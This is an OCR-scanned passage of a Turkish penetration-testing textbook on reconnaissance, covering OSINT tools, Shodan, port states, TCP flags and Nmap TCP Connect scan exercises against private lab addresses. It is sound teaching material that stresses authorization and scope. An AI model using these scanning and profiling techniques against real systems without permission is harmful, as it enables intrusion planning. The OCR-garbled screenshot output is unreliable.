Kullanicilarin - paylasimlari, kullanilan teknolojiler, sirket ici etkinlikler veya
organizasyon yapisi hakkinda dolayli bilgiler sunabilir.

Teknik sorun yasayan kullanicilarin yaptigl paylasimlar bazen sistem altyapisi
hakkinda kritik detaylar igerebilir.

is ilanlari, sirketin hangi teknolojileri kullandigini anlamak icin oldukca degerlidir.
Ornegin Linux sistem ydneticisi veya Cisco ag uzmani arayisi, altyapi hakkinda fikir
verebilir.

Hedefin hangi bulut servislerini, CDN [Content Delivery Network (icerik Dagitim
Ag1)] yapilarini, e-posta servis saglayicilarini veya Uglincl taraf yazilimlari kullandigi
incelenebilir.

Siurecte kullanilabilecek araglardan bazilari sunlardir:

Google Dorks

Recon-ng

theHarvester

Google Uzerinde 6zel arama operatorleri kullanilarak belirli dosya tirleri, dizinler
veya indekslenmis hassas igerikler bulunabilir. Ozellikle yapilandirma dosyalari,
PDF dokiimanlar veya aclk dizinler bu yontemle tespit edilebilir.

Acik kaynak bir bilgi toplama aracidir. Sosyal medya, WHOIS kayitlari, DNS verileri,
e-posta adresleri gibi bircok kaynaktan veri ¢cekebilir.

Arama motorlari ve gesitli servisler lizerinden e-posta adresleri, alt alan adlari ve
bazi teknik bilgileri toplamak igin kullanilir.
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Gorsel analiz imkani sunan bir OSINT aracidir. Toplanan veriler arasindaki iliskileri
grafiksel olarak gostererek baglanti analizi yapmayi kolaylastirir.

Maltego

Tek basina bir aragtan ziyade farkli OSINT arag ve servislerine yonlendiren kapsamli
O WV IFF A6 d  bir rehber platformdur. Hangi ihtiyaca yonelik hangi aracin kullanilabilecegini
sistematik sekilde sunar.

internete bagli cihazlari indeksleyen &zel bir arama motorudur. Klasik arama
motorlari web sitelerini listelerken Shodan, dogrudan internete agik sistemleri ve
servisleri tarar. Web kameralari, akilli ev cihazlari, endistriyel kontrol sistemleri,
tibbi cihazlar, sunucular ve gesitli IoT (Nesnelerin interneti) bilesenleri bu kapsama
girer. Shodan’in topladigi veriler genellikle banner olarak adlandirilan servis
yanitlarindan elde edilir. Banner bilgileri; cihazin IP adresi, cografi konumu, acik
portlari, kullanilan servis tiirQi, yazilim siirim, bazen varsayilan kullanici adi gibi
meta veriler icerebilir. Bu bilgiler dogrudan sisteme giris saglamaz ancak sistem
hakkinda 6nemli teknik ipuglari verir. Bu nedenle Shodan, pasif bilgi toplama
slirecinde altyapi kesfi yapmak igin kullanilan gli¢li araglardan biridir.

Sayilanlara ek olarak ticaret sicil kayitlari, kamu ihale verileri, resmi gazete ilanlari, vergi levhasi bilgileri,
kamuya acgik sirket raporlari gibi agik kurum bilgileri 6nemli kaynaklardir. Bu belgeler; kurumlarin
ortaklik yapisi, bagl oldugu istirakler, fiziksel adresleri ve yasal slrecleri hakkinda bilgi sunabilir. Bugiin
pasif bilgi toplama yalnizca klasik web kaynaklariyla sinirli degildir. Teknolojinin gelismesiyle birlikte
yeni veri alanlari ve analiz yontemleri de slirece dahil olur. Bu yontemler su sekildedir:

Blylk veri kiimeleri igerisinden anlaml iliskileri tespit etmek, sizinti verilerini
siniflandirmak veya acik kaynaklardan toplanan bilgileri hizli sekilde analiz etmek
icin kullanilabilir. Yapay zeka 6zellikle sosyal medya verileri, dokiiman incelemeleri
ve tehdit istihbarati analizlerinde dnemli kolaylik saglar.

Yapay Zeka
Destekli Analiz
Araglari

Arama motorlari tarafindan indekslenmeyen ancak normal internet baglantisiyla
Deep Web erisilebilen veri tabanlari, akademik icerikler veya uyelik gerektiren platformlar bu
Kaynaklari kapsama girer. Buralarda sirketlerle ilgili teknik dokiimanlar, eski raporlar veya veri
sizintilarina dair kayitlar bulunabilir.

Ozel aglar lzerinden erisilebilen ve gizlilik saglayan ortamlarda kurumlara ait
Dark Web veri sizintilari, satilan hesap bilgileri veya kimlik bilgileri yer alabilir. Etik sizma
testlerinde bu alanlar yalnizca yetkilendirme ve yasal cerceve varsa incelenir.
Amag saldiri yapmak degil kurumun maruz kalmis olabilecegi veri ihlallerini tespit
etmektir.

Arastirmalari

Her bilgi kaynagi kullanilabilir degildir. Etik sizma testinin temelinde izin, kapsam ve hukuki sorumluluk
vardir. Ozellikle deep web ve dark web arastirmalari uzmanlik, dikkat ve acik yetkilendirme gerektirir.
Anlasilacagi Uzere pasif bilgi toplama yalnizca teknik araglardan ibaret degildir. Teknik veriler ile sosyal,
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kurumsal ve idari bilgilerin birlikte degerlendirilmesi hedef hakkinda birlesik bir bakis agisi olusturur.
Bu bltlncil yaklasim, sizma testinin sonraki asamalarinda daha bilingli ve stratejik hareket edilmesini
saglar.

Sira Sizde ~

e
\

Shodan arama motorunu kullanarak internet ortaminda erisilebilir durumda bulunan sistemler
hakkinda bilgi toplayiniz. Belirleyeceginiz bir hedef servis tlirline gore agik portlari, servis bilgilerini
ve banner verilerini inceleyiniz. Elde ettiginiz bulgulari sizma testi perspektifinden degerlendiriniz.

Degerlendirme: Calismaniz EK-1'de yer alan kontrol listesi kullanilarak degerlendirilecektir.
Calismanizi yaparken degerlendirme olcgutlerini dikkate aliniz.

& J

2.1.2. Aktif Bilgi Toplama Yontemleri

Pasif bilgi toplama asamasinda hedefe dokunmadan veri elde edilirken aktif bilgi toplama sirecinde
hedef sistem ile dogrudan etkilesime gecilir. Bu asamada artik yalnizca gozlem yapilmaz. Sistemlere
belirli sorgular gonderilir ve alinan yanitlar analiz edilir. Baska bir ifadeyle aktif bilgi toplama, bir evi
uzaktan izlemek yerine kontrollii sekilde evin zilini calmak gibidir.

Aktif bilgi toplama slrecinde yapilan her islem hedef sistem tarafindan kaydedilebilir. Glivenlik duvarlari,
saldiri tespit sistemleri (IDS) ve log mekanizmalari yapilan bu hareketleri izleyebilir. Bu nedenle aktif
bilgi toplama, mutlaka yazili yetkilendirme ve belirlenmis test kapsami (scope) icinde yiritilmelidir.
Aksi halde yapilan islem, hukuki sorumluluk dogurabilir. Bu asamanin temel amaci; hedef sistemlerin
acik portlari, calisan servisleri, versiyonlari, kullanilan isletim sistemleri, ag yapisi ve olasi zafiyetleri
hakkinda bilgi sahibi olmaktir. Pasif asamada elde edilen tahmini veriler, aktif asamada test edilerek net
sonuglara ulastirilir.

Aktif bilgi toplama yontemleri genel olarak su basliklar altinda incelenebilir:

Bu adimda hedef sistemin ag lizerinde aktif olup olmadigi kontrol edilir. Amag,
Ag Kesfi (Network hangi IP adreslerinin erisilebilir oldugunu belirlemektir. Ag kesfi sayesinde

Discovery) hedef agda kag¢ cihaz bulundugu ve hangi adres araliklarinin kullanildig
anlasilabilir.

Bu asamada hedef agin genel yapisi analiz edilir ve ag topolojisi hakkinda
bilgi toplanir. Ag haritalamanin amaci; ag Gzerindeki cihazlarin birbiriyle nasil
iletisim kurdugunu, hangi segmentlerin bulundugunu ve kritik sistemlerin
konumunu anlamaktir. Ag haritalama sayesinde yalnizca tek bir sistem

Ag Haritalama degil tim altyapinin mantiksal yapisi gorilebilir. Bu slregte yonlendiriciler,
(Network Mapping) anahtarlar, sunucular ve istemci sistemler arasindaki baglantilar incelenir.
Elde edilen verilerle basit bir ag diyagrami olusturulabilir. Bu diyagram hem
glvenlik degerlendirmesi hem de raporlama asamasi igin dnemli bir referans
niteligi tasir ancak haritalama islemi yapilirken ag trafigini asiri artirmamaya ve
sistemleri olumsuz etkilememeye dikkat edilmelidir.
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Bir sistem Uzerinde hangi portlarin acgik oldugunu belirlemek icin yapilr. Agik
portlar, o sistemde calisan servisler hakkinda dogrudan bilgi verir. Ornegin
acik bir 80 portu web servisini, 22 portu ise SSH erisimini isaret edebilir. Bu
asama, hedefin hangi servisleri dis diinyaya sundugunu anlamak agisindan
Port Tarama (Port kritik dneme sahiptir. Port tarama islemleri farkh yogunluk ve yéntemlerle

Scanning) gerceklestirilebilir. Bazi taramalar hizli ancak yizeysel bilgi verirken bazilari
daha kapsamli ve detayli sonuglar sunar. Ayrica tarama islemi agresif (saldirgan
ve guraltilt) sekilde yapilabilecegi gibi daha sessiz (stealth) yontemlerle
de gercgeklestirilebilir. TCP ve UDP tabanh taramalar ise kullanilan iletisim
protokoliine gore farkh sonuglar Uretebilir. Bu nedenle tarama yodntemi
secilirken testin amaci ve kapsami dikkate alinmalidir.

Acik port belirlendikten sonra o port lizerinde ¢alisan servisin tlri ve versiyonu
analiz edilir. Yazilm stirtimleri, bilinen glivenlik agiklari ile iliskilendirilebilir. Bu
. i nedenle stirim bilgisi, sonraki asamalarda yapilacak glivenlik degerlendirmesi
Servis ve Sirim icin 6nemli bir veri kaynagidir. Kullanilan siiriim bilgisi, sistemin giincel olup

Tespiti olmadigini ve bilinen glivenlik agiklarina karsi ne kadar risk tasidigini gosterir.
Bilgi toplama islemi gercgeklestirirken stiriim bilgisinin bazen gizlenebilecegi
ve yaniltici siriim bilgisi verilebilecegi unutulmadan elde edilen her bilginin
dogrulugu kesin degildir mantigi ile hareket edilmelidir.

Hedef sistemin hangi isletim sistemini kullandigina dair teknik analiz yapilir.
Sistem yanit sireleri, paket yapilandirmalari ve ag davranislari Gzerinden
kullanilan isletim sistemiyle ilgili tahmin yurGtalebilir. Bu bilgi, saldiri
senaryolarinin planlanmasinda belirleyici olabilir.

isletim Sistemi Tespiti

Aktif bilgi toplama slirecinde hedef agda giivenlik duvari (firewall) veya saldiri
tespit / 6nleme sistemlerinin (IDS/IPS) bulunup bulunmadigi da analiz edilir.
Bu sistemler, ag trafigini izler ve stiipheli davranislari kaydeder veya engeller. Bu
asamada sistemin verdigi yanit sureleri, kapali port davranislari ve filtreleme
bicimi incelenerek giivenlik mekanizmalari hakkinda fikir edinilir. Ornegin bazi
durumlarda port kapal yerine filtrelenmis olarak gortintr. Bu durum, arada bir
guvenlik cihazinin bulundugunu gosterebilir.

Givenlik Duvari ve
IDS/IPS Tespiti

Servislerin verdigi yanitlar incelenerek sistem hakkinda teknik bilgiler toplanir.
Banner bilgileri bazen yazilim strimd, servis adi veya yapilandirma detay
icerebilir. Pasif bilgi toplamada dis kaynaklardan banner verisi elde edilebilirken
aktif asamada bu bilgi dogrudan sistemden alinir.

Banner Analizi

Acgik bir port her zaman beklenen servisin ¢alistigi anlamina gelmez. Bu

Servis Dogrulama asamada ilgili port Gzerinde gercekten hangi servisin ¢alistigi dogrulanir. Yanlis
(Service Verification) yapilandirmalar veya 6zel servis ayarlari nedeniyle port numarasiile servis tiirii
farkh olabilir.
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Bu asamada sistem tizerinde bilinen glvenlik agiklarinin bulunup bulunmadigi
kontrol edilir. Otomatik araglar kullanilarak eksik yamalar, hatali yapilandirmalar
Zafiyet Tarama veya eski yazilimlar tespit edilebilir ancak burada dikkat edilmesi gereken
(Vulnerability nokta, tarama isleminin sistemi olumsuz etkilemeyecek sekilde ve kontrolli

Scanning) yapilmasidir. Otomatik tarama araglari bazen yanlis pozitif (false positive)
sonuglar Uretebilir. Bu nedenle tespit edilen zafiyetlerin manuel olarak
dogrulanmasi 6nemlidir.

Aktif Bilgi Toplamada Dikkat Edilmesi Gerekenler

Aktif bilgi toplama, sizma testinin teknik dogrulama asamasidir. Pasif asamada elde edilen tahminler
burada test edilir ve somut verilere donustirilir ancak bu siireg; dikkat, planlama ve etik sorumluluk
gerektirir.

Basarili bir sizma testi uzmani rastgele tarama yapmaz. Once arastirir sonra planlar ve en sonunda
kontrolli sekilde test eder. Amag, sistemi zorlamak degil glivenlik seviyesini 6lgmek ve glivenligin
gelistiriimesine katki saglamaktir. Unutulmamalidir ki etik sizma testinin amaci sistemi ¢okertmek degil
glvenlik agiklarini kontrolli sekilde tespit etmektir.

« Test kapsami disina ¢ikilmamalidir.
Bu siiregte dikkat + Hizmet kesintisine yol agabilecek agresif taramalardan kaginilmalidir.

LI DIEICIE . Elde edilen veriler diizenli sekilde kayit altina alinmalidir.

« Her adim raporlanabilir ve agiklanabilir olmalidir.

2.2. AG VE PORT TARAMA TEKNIKLERI

Bilgisayar, bliylk bir bina gibi diisiiniilebilir. Bu binanin tek bir adresi vardir (IP adresi) ancak igeride farkli
odalar bulunur. iste bu odalar port olarak adlandirilir. Portlar, bir sistem iizerinde ¢alisan hizmetlerin dis
diinya ile iletisim kurdugu mantiksal kapilardir. Ornegin bir web sitesi hizmeti ile dosya aktarim hizmeti
ayni IP adresini kullanabilir ancak farkli portlar izerinden c¢alisir. Béylece ayni cihaz lizerinde birden
fazla hizmet, dizenli sekilde ylratilebilir. Portlar fiziksel bir giris degil yazilimsal iletisim noktalaridir.

Port kavrami, TCP/IP iletisim modelinin tagima (transport) katmaninda yer alir. Bu katmanda verinin
hangi uygulamaya teslim edilecegi belirlenir. Baska bir deyisle IP adresi, verinin hangi cihaza gidecegini
gosterirken port numarasi, o cihaz Gzerindeki hangi uygulamaya ulasacagini belirler (Gorsel 2.3).

TTL:128 PRO:0x11 | CHEEUM

SR IP:192.168.1.10

OST IP-152 165.1.100

O « v of0r v v 0 v v 0 0 o0 o0 o0 o1 A6 o0 v 00 0 00 0 o1 1 1 koo Bis

SOURCE PORT: 1025 | DESTINATION PORT:53

Gorsel 2.3: UDP paketi kaynak ve hedef port
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Ayni binaicinde birden fazla magaza nasil diizenli sekilde faaliyet gdsterebiliyorsa ayni sistem tzerindeki
servisler, farkh portlar Gizerinden galisir (Gorsel 2.4).

P
0 « o v 4 0 0 0 8 00 o0 w00 160 a0 0 200 0 o0 240 0 1 1 1 1 1 Bits
VER:4 IHL:5 DSCP:0x00 TL:44
1D:0x0002 FLAGS:0x2 FRAG OFFSET:0x000
TTL:128 PRO:0x06 CHKSUM
SRC IP:192.168.1.10
DST IP:192.168.1.200
DATA (VARIABLE LENGTH)
IceP
0 « ofs 4 0 0 0 8 0 0 o0 0 o o0 a0 16 0 0 0 o0 0 10 20 0 1 1 k1 1 Bis
SOURCE PORT:1025 DESTINATION PORT:80 I
SEQUENCE NUMBER:0
ACKNOWLEDGEMENT NUMBER:0
OFFSET:0x | RESERVE FLAGS:0b00000010 WINDOW:65535
0 D0
CHECKSUM:0x0000 URGENT POINTER:0x0000
OPTION
DATA (VARIABLE LENGTH) PADDING: 0

Gorsel 2.4: TCP Paketi kaynak ve hedef port

Bir portun durumu, o port lizerinden bir hizmet sunulup sunulmadigini gosterir.

Port durumlari séyledir:

ilgili port tizerinde aktif olarak calisan bir servis vardir ve gelen baglanti istegine
Acik (Open) Port yanit verir. Ornegin bir web sunucusunun agik olmasi, dis kullanicilarin siteye
erisebilmesini saglar.

Port kullanilmamaktadir ancak sistem, baglanti istegine yanit vererek burada
bir hizmet yok bilgisini iletir. Bu durum sistemin erisilebilir oldugunu fakat ilgili
hizmetin ¢alismadigini gosterir.

Kapali (Closed)
Port

Guvenlik duvari veya benzeri bir glivenlik mekanizmasi baglantiyi engeller. Bu
durumda sistemden net bir yanit alinamaz. Disaridan bakildiginda portun agik mi

kapali mi oldugu kesin olarak anlasilamayabilir.
SIZMA TESTI e
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Sayilan U¢ durumun dogru yorumlanmasi, ag analizinin temelini olusturur. Port tarama islemi, bir
sistemin dis diinyaya hangi hizmetleri sundugunu anlamak icin yapilir. Amag, sistemi hedef almak
veya zarar vermek degildir. Disaridan bakildiginda hangi hizmetlerin erisilebilir oldugunu anlamaya
calismaktir. Ornegin bir kurum yalnizca web hizmeti verdigini diisiiniirken yapilan tarama sonucunda
beklenmeyen bir servisin daha acik oldugu gorulebilir. Bu durum, yapilandirma hatasina veya unutulmus
bir servise isaret edebilir.

. . « Gereksiz acik servisler tespit edilir.
Tarama islemi

VS AT DT+ Glvenlik politikalarinin dogru uygulanip uygulanmadigi kontrol edilir.

netlesir:

« Sistem ylzeyinin ne kadar genis oldugu anlasilir.

Port tarama ve ag analizi, sizma testinin kesif asamasinda (reconnaissance) yer alir. Bu asama,
testin temelini olusturur. Clink{ bir sistemde hangi servis, sistem vb.nin ¢alistigl bilinmeden gilivenlik
degerlendirmesi yapmak mimkin degildir.

Aktif bilgi toplama asamasinda tespit edilen port ve servisler, siirecin ilerleyen safhalarinda yapilacak
analizler icin bir yol haritasi niteligi tasir. Bu nedenle tarama islemi gelisiglizel yapilmaz, belirli bir plan
cercevesinde ve sistemin ¢alisma diizenini bozmayacak sekilde uygulanir.

Sizma testinin temel amaci sistemi ¢okertmek veya hizmeti durdurmak degildir. Asil hedef, mevcut
glvenlik durumunu degerlendirmek ve iyilestiriimesi gereken noktalari ortaya koymaktr. Port tarama
da bu sirecin baslangi¢ adimlarindan biridir ve dogru sekilde degerlendirildiginde sistemin dis diinyaya
nasil gorinduglini anlamaya yardimci olur.

2.2.1. TCP Port Tarama Yontemleri

TCP port tarama, bir sistem Uzerinde bilgi toplanmasi gerektiginde en yaygin kullanilan yéntemlerden
biridir. Bunun temel nedeni, internet izerindeki bircok hizmetin TCP protokolii Gizerinden ¢alismasidir.
Web sunuculari, uzaktan baglanti servisleri, e-posta hizmetleri gibi pek ¢ok servis TCP’yi kullanir. Bu
nedenle bir sistemin dis diinyaya nasil gériindtgini anlamak icin 6ncelikle TCP portlarinin incelenmesi
gerekir.

TCP, baglanti temelli bir protokoldiir. Baska bir deyisle veri iletimi bagslamadan énce iki sistem arasinda
bir iletisim slreci kurulur. Bu slre¢ sayesinde karsilikli olarak baglanti dogrulanir ve veri iletimi
daha kontrolli bir sekilde gergeklesir. Port tarama sirasinda da bu baglanti mantigindan yararlanilr.
Gonderilen istege hedef sistemin nasil cevap verdigi kontrol edilerek portun durumu hakkinda yorum

yapilr.
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TCP state machine; TCP protokoliinin bir baglantinin baslatma, siirdiirme ve sonlandirma siirecinde
hangi asamalardan gectigini tanimlayan mantiksal durum modelidir. TCP rastgele ¢alismaz. Her baglant
belirli durumlar (state) arasinda gecis yapar ve gelen-giden her paket bu durumlara goére degerlendirilir
(Tablo 2.1).

Tablo 2.1: TCP Port Durumlari

TCP Durumu Teknik Agiklama Sizma Testi Agisindan Anlami

Portta dinleyen servis yoktur.
CLOSED Baglanti mevcut degildir.
Baslangic ve bitis durumudaur.

RST alinmasi portun blyiik olasilikla kapah
oldugunu gosterir (FIN/XMAS - closed).

SYN/ACK yaniti alinmasi portun agik (LISTEN) oldu-
gunu dogrular. Eger higbir yanit alinamiyorsa, port
blyik olasilikla bir glivenlik duvari tarafindan filt-
relenmistir (filtered). Yanit alinamayan durumlarda
portun gercek durumu (agik/kapal) kesin olarak

Sunucu gelen baglanti
LISTEN taleplerini (SYN)
beklemektedir. Port agiktir.

belirlenemez.
SYN SENT istemci SYN géndermis ve Aktif baglanti kurulma siirecine miidahale
B SYN/ACK beklemektedir. tespitinde (IDS/IPS analizi) anlamhidr.

Sunucu SYN almis, SYN/ACK
SYN_RECEIVED | gondermis ve son ACK'yi
beklemektedir.

Half-open (yarim acik) baglanti analizinde ve SYN
flood testlerinde 6nemlidir.

Baglanti kurulmustur, veri Aktif oturum manipilasyonu, session hijacking ve

ESTABLISHED . . L . . .
ahsverisi devam etmektedir. | TCP injection testlerinde incelenir.

Yerel sistem FIN gondermis,

. Baglanti sonlandirma surecinin ilk agamasi analiz
FIN_WAIT_1 karsi tarafin ACK’sini

dilir.
beklemektedir. eatin
Karsi taraftan ACK alinmis
FIN WAIT 2 ancak karsi tarafin kendi Uzun sire FIN_WAIT_2’de kalan baglantilar servis
- - kapatma paketini (FIN) yapilandirma sorununa isaret edebilir.

gondermesi beklenmektedir.

Karsi taraf FIN gondermistir,
CLOSE_WAIT yerel sistem baglantiyi
kapatmaya hazirlanir.

Uzun stre CLOSE_WAIT’te kalan baglantilar
uygulama katmani zafiyetine isaret edebilir.

Yerel sistem FIN gondermistir | Sunucu tarafli kapanis analizinde ve baglant

LAST_ACK
- ve son ACK'’yi beklemektedir. | sonlandirma testlerinde 6nemlidir.

Baglanti kapandiktan sonra Yogun TIME_WAIT birikimi = port exhaustion
belirli siire (2 x MSL) beklenir. | veya yuksek trafik gostergesi olabilir.
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TCP bashgindaki bayraklar birer bitlik kontrol alanlaridir ve kombinasyon héalinde kullanilabilir. Normal
TCP akisinda belirli kombinasyonlar mantiklidir ancak tarama teknikleri, bu mantik disi kombinasyonlari
kullanarak hedef sistemin TCP davranisini analiz eder (Tablo 2.2).

Tablo 2.2: TCP Bayragi Teknik Gorevleri

TCP Bayragi m Teknik Gorevi

. Baglanti baglatmak ve sira numaralarini senkronize etmek

SYN Synchronize . .

icin kullanilir. Three-way handshakein ilk adimidir.

Alinan veriyi onaylamak icin kullanihr. ACK bitinin set
ACK Acknowledge olmasi, acknowledgement numarasinin gegerli oldugunu

gosterir.

. Aktif TCP baglantisini kontrolli sekilde sonlandirmak igin

FIN Finish

kullanihr.

Baglantiyl aniden sonlandirir veya gegersiz segmentlere
RST Reset . .

cevap olarak gonderilir.

Verinin uygulama katmanina bekletiimeden iletiimesini
PSH Push .

ister.

Acil veri bulundugunu belirtir. Urgent Pointer alani gegerli
URG Urgent

olur.

Explicit Congestion Notification mekanizmasinin pargasidir.
ECE ECN-Echo . . I

Ag tikanikhigini bildirir.

Congestion Window

CWR Redﬁced Gonderici tarafin congestion windowu azalttigini bildirir.

TCP bashgindaki bayraklar 8 bitlik bir alanda tutulur ve bu bitlerin kombinasyonlarina gére bayrak tipi
anlasilir (Tablo 2.3).

Tablo 2.3: TCP Bayrag Bit Degerleri

I T R
1

0 FIN
1 SYN
2 RST
3 8 PSH
4 16 ACK
5 32 URG
6 64 ECE
7 128 CWR
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TCP paket yapisiigerisinde yer alan flag (bayrak) alani, paketin tasidigi kontrol bayraginin tiiriinG belirler.
Gorsel 2.5'te yer alan FLAGS: 0b00000010 degeri, bu pakette TCP SYN bayraginin aktif oldugunu ve
baglanti baglatma amaciyla génderildigini gosterir.

TCP

0 ¢+ o+ o4 v 0 0 8 0 0 0 0 0 0 a0 160 0 0 0 0 0 24, 4 0 1 1 1 1 Bits
SOURCE PORT:1025 DESTINATION PORT:30
SEQUENCE NUMBER:0
ACKMNOWLEDGEMENT NUMBER:0
OFFSUET:UX RE‘\;EURVE FLAGS:0600000010 WINDOW:65535

CHECKSUM:0x0000 URGENT POINTER:0x0000

OPTION

DATA (VARIABLE LENGTH) PADDING: 0

Gorsel 2.5: TCP bayrak alani
2.2.1.1. TCP Connect Tarama

TCP Connect tarama, en temel TCP tarama yontemidir. TCP Connect taramada baglanti, TCP’nin gl
el sikisma (three-way handshake) stireci (SYN-SYN/ACK-ACK) tamamlanarak kurulur. TCP baglanti
slireci tamamen gercekleserek tamamlanir. Tarama araci, hedef IP adresindeki belirlenen porta bir SYN
(baglanti baslatma) paketi gonderir.

« Eger baglanti basariyla kurulursa veya teknik olarak SYN/ACK cevabi gelirse
port agik kabul edilir (Gorsel 2.6).

TCP iletigsiminin ilk + Eger sistem baglantiyi reddeder ve RST yaniti verirse port kapalidir.

adimi séyledir:

T

« Eger gonderilen istege karsilik hicbir yanit alinmazsa baglanti bir gtivenlik
duvari veya ag filtresi tarafindan engellenmis olabilir. Bu durumda port filt-
relenmis olarak degerlendirilir.

P

O v v v 4 v 0 0 8 00 o0 B o 240 0 0 1 a1 1 Bis
SOURCE PORT:60 DESTINATION PORT:1025

SEQUENCE NUMBER:0

ACKNOWLEDGEMENT NUMBER:1

OFFSET:0x | RESERVE FLAGS:0b00010010 WINDOW:16384
0 D:0
CHECKSUM:0x0000 URGENT POINTER:0x0000
OPTION
DATA, (VARIABLE LENGTH) PADDING: 0

Gorsel 2.6: SYN-ACK bayrak cevap degeri

RST (Reset), sistemin gelen baglantiyi kabul etmedigini gosterir. Baska bir ifadeyle sistem, bu portta
aktif bir hizmet yok veya bu baglant gegerli degil mesaji verir. Ornegin kapali bir porta baglant istegi
gonderildiginde cogu sistem RST yaniti verir. Bu yanit aslinda bir bilgidir. Clink{ sistemin aktif oldugunu
fakat ilgili portta servis calismadigini gosterir. Bu tir cevaplar, bir evin kapisi ¢alindiginda iceriden
birinin kimse yok diye bagirmasi gibidir. Hi¢ yanit gelmiyorsa (timeout-filtrelenmis) ya hedef makine

kapali ya da arada bir giivenlik duvari, paketi yok etti anlamina gelir.
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Baglanti basariyla kurulmussa tarama araci, oturumu hemen sonlandirir. Amag, veri alisverisi yapmak
degil sadece portun durumunu tespit etmektir.

Yontem oldukca nettir ve yorumlamasi kolaydir ancak tam baglanti kuruldugu icin hedef sistemde log
kaydi olusturma ihtimali ylksektir. Bu nedenle giivenlik sistemleri tarafindan tespit edilebilen gérinir
(gUraltald) bir tarama tird olarak degerlendirilir.

1. Uygulama

Bir sizma testi siirecinde hedef sistem Uzerinde calisan servisleri ve port durumlarini tespit etmek
amaciyla Nmap aracini kullanarak TCP Connect (-sT) tarama yontemi ile port taramasi gergeklestiriniz.
Belirli portlari test ederek portlarin agik, kapal veya filtrelenmis durumda olup olmadigini belirleyiniz
ve elde edilen sonuglari degerlendiriniz.

1. Adim: Yerel agda bulunan 192.168.1.27 ve 192.168.1.191 IP adresli sistemler lizerinde 80 ve 443
numaral portlarin durumunu Nmap kullanarak test ediniz ve nmap -sT -p 80 192.168.1.27 komutunu
ornek alarak tek bir port lzerinde TCP Connect taramasi gergeklestiriniz ve elde edilen giktilari
degerlendiriniz (Gorsel 2.7).

(Cloud Net

Nmap done: 1 IP address (1 host up) scanned in @.

Nmap done: 1 IP al

Gorsel 2.7: Tarama sonuglari

2. Adim: Birinci adimda gergeklestirilen TCP Connect port taramasi sonucunda elde edilen ciktilar
incelenerek port durumlari asagidaki gibi degerlendirilmistir, kontrol ediniz.

DEGERLENDIRME: 192.168.1.27 IP adresli sistem (izerinde yapilan tarama sonucunda 80 numarali
portun filtered durumda oldugu gorilmektedir. Bu durum hedef sistemin baglanti istegine dogrudan
yanit vermedigini gostermektedir. Genellikle bu tiir durumlarda arada bulunan bir glivenlik duvari veya
benzeri bir giivenlik mekanizmasi paketi engeller. Bu nedenle portun acik mi kapali mi oldugu kesin
olarak belirlenememektedir.

@ SIZMA TESTI




BiLGi TOPLAMA VE KESIiF YONTEMLERI

192.168.1.191 IP adresli sistem Uzerinde gergeklestirilen taramada ise 80 numarali portun closed
durumda oldugu tespit edilmistir. Bu durum sistemin baglanti istegine RST yaniti verdigini ve ilgili port
Uzerinde aktif bir servis bulunmadigini gbstermektedir. Ayni sistem Uzerinde yapilan baska bir taramada
443 numarall portun open durumda oldugu gortlmektedir. Bu durumda TCP Ggli el sikisma islemi
basariyla tamamlanmis ve ilgili port izerinde aktif bir servis galistigl anlasiimistir. Bu port genellikle
HTTPS servisleri tarafindan kullaniimaktadir. Bu degerlendirme sonucunda hedef sistemlerin ag
Uzerinde taramasi yapilan portlarin erisilebilir oldugu hakkinda bilgi edinilmis olur.

3. Adim: Yerel agda bulunan 192.168.1.27 ve 192.168.1.191 IP adresli sistemler lzerinde 21 numarali
portun durumunu Nmap kullanarak test ediniz (Gorsel 2.8).

Startin
Nmap scan r
Host is up

MAC ress: .G 119 (A ve Technology)

Nmap done: 1 IP address (1 host up) scanned in 1.26 seconds

Nmap scan r
Host is up

ORT
1/tcp filt
MAC Address 2:1A9: 5 (Cloud Network Technology Singapore PTE.)

Nmap done: 1 IP address (1 host up) scanned in ©0.47 seconds

Gorsel 2.8: 21 No.lu portun tarama sonuglari

4. Adim: Yerel agda bulunan 192.168.1.27 ve 192.168.1.191 IP adresli sistemler {izerinde iyi bilinen
portlarin durumunu inceleyiniz. Bunun igin nmap -sT komutunu kullanarak TCP Connect taramasi
gerceklestiriniz ve tarama sonuglarini degerlendiriniz (Gorsel 2.9).

Gorsel 2.9: lyi bilinen portlarin tarama sonuglari
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5. Adim: Yerel agda bulunan 192.168.1.27 IP adresli sistem {izerinde tim portlarin durumunu TCP
Connect taramasi ile tespit ediniz. Bunun i¢cin nmap -sT -p- 192.168.1.27 komutunu kullanarak tim
65535 portu tarayiniz ve elde edilen sonuglari degerlendiriniz (Gorsel 2.10).

t 1s up (0,00
shown: 6

open
open

open

open

open u nown
open u nown
open u nown
open u nown
open u nown
open m

vk Technology Si
Nmap done: 2 IP addresses (1 host up) scanned in 110.@8

Gorsel 2.10: Butlin portlarin tarama sonuglari

PRV T ETE]

Yerel agda bulunan 192.168.1.27 IP adresli sistem Uzerinde 22 numarali portun durumunu tespit etmek
amaciyla Nmap araci kullanilarak TCP Connect (-sT) tarama yontemi ile port taramasi gerceklestiriniz.
Tarama islemini gerceklestirirken ag trafigini Wireshark araciligiyla izleyiniz ve elde edilen paketleri
inceleyerek gerceklestirilen taramanin TCP Connect tarama yontemi oldugunu kanitlayiniz. Tarama
sonucunda portun durumunu (open, closed veya filtered) belirleyiniz ve elde edilen sonuglari
degerlendiriniz.

1. Adim: Yerel agda bulunan 192.168.1.27 IP adresli sistem Uzerinde 22 numaral portun durumunu
Nmap kullanarak test ediniz ve nmap -sT -p 22 192.168.1.27 komutunu kullanarak tek bir port Gizerinde
TCP Connect taramasi gergeklestiriniz ve elde edilen ¢iktilari degerlendiriniz (Gorsel 2.11).

16 14:41 EDT

9:13:95 (Cloud MNetwork Technology Singapore PTE.)

IP address (1 hest up) scanned in 8.69 seconds

Gorsel 2.11: 22 No.lu portun tarama sonucu
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2. Adim: Birinci adimda gergeklestirilen TCP Connect port taramasi sirasinda ag trafigini Wireshark
araci ile izleyiniz, elde edilen paketleri analiz ediniz ve yapilan inceleme sonucunda hedef sistem ile
tarama yapan makine arasinda gerceklesen TCP paket akisini filtreleme kismina tcp.port ==22 yazarak
baglanti stirecini degerlendiriniz.

3. Adim: Degerlendirmenizi asagida yapilan tespit ile karsilastiriniz.

DEGERLENDIRME: 192.168.1.27 IP adresli sistem (izerinde gerceklestirilen tarama sirasinda Wireshark
ciktilarinda sirasiyla SYN, SYN/ACK ve ACK paketlerinin gonderildigi gortlmustir. Bu durum TCP
iletisiminde kullanilan liglii el sikisma siirecinin tamamlandigini gostermektedir. Baglanti kurulduktan
